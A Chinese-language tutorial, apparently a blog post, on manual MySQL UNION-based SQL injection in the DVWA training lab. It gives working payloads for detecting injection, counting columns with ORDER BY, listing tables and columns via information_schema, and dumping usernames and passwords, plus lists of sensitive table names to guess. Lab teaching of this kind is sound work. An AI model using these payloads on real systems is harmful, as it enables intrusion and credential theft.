使用的靶场

本次注入使用的靶场为dvwa

 

Union联合查询注⼊基本流程

 

1、判断是否存在注入

方法一:   ‘   单引号法

方法二:逻辑法

and 1=1(数字型)

and 1=2(数字型)

1' and '1'='1(字符型)

1' and '1'='2(字符型)

方法三:运算法

-1

-0

 

2、猜解表名

常见的敏感表名

admin

user

admin_userinfo

system

vipuser

a_admin

xxx_admin

······

 

3、猜解字段数

 

order by xx

 

xx为字段数的值,也就是列数值

order by 5:意思是按照第5列的属性排序,若总共只有4个属性,就会报错,就可以得出字段数的值

 

4、猜解字段名

常见的敏感字段名

username

password

admin_usernmae

admin_password ....

 

 

 

5、获取数据

union select 1,2,3... from xx

 

MySQL⼿注之联合查询注⼊步骤详解

 

本次实验选用dvwa中的SQL injection

 

mysql手注之联合查询注入_数据库

 

 

对应的代码如下:

 

 

mysql手注之联合查询注入_表名_02

 

 

SELECT first_name, last_name FROM users WHERE user_id = '$id'

 

1、判断是否存在注入

输入 1 and 1=1时

 

mysql手注之联合查询注入_字段_03

 

 

点了submit后不会显示

此时代码为SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1'

and在两个单引号的作用下,变成了字符,没有起到and连接作用

 

所以将 1 and 1=1修改为 1' and '1'='1

 

mysql手注之联合查询注入_数据库_04

 

 

此时执行的语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' = '1'

 

输⼊ID为 1' or '1' = '1 时

会将所有用户信息都显示出来

因为or是或条件,前后两个任意条件为真就行

 

猜解数字段

1' order by 1

1' order by 2

通过order by(根据第x字段排序,若无x字段报错)的报错来猜解字段数

 

联合查询

 

获取当前数据库和用户名

1' union select database(),user()

 

获取当前数据库版本信息和操作系统

1' union select version(),@@version_compile_os

 

获取数据

当数据库版本>5.0时,mysql里有默认数据库,information_schema,该数据库里保存了所有数据库的信息,如表名,字段名,表所属的数据库,访问权限等,里面的tables表,保存了table_name表名和table_schema两个字段,记录了表名和所在的数据库,还有coulmns表,保存了字段名coulmn_name和所在的表table_name

通过这默认数据库和默认表可以进行联合查询,查询出数据库的表和表中的字段名

 

获取表名

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'

查看dvwa数据库里有哪些表

mysql手注之联合查询注入_表名_05

 

 

 

获取表中的列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

获取users表中的字段名

mysql手注之联合查询注入_字段名_06

 

 

获取数据

1' union select user,password from users

知道了表名,字段名,就可以使用联合查询,查询想要的payload了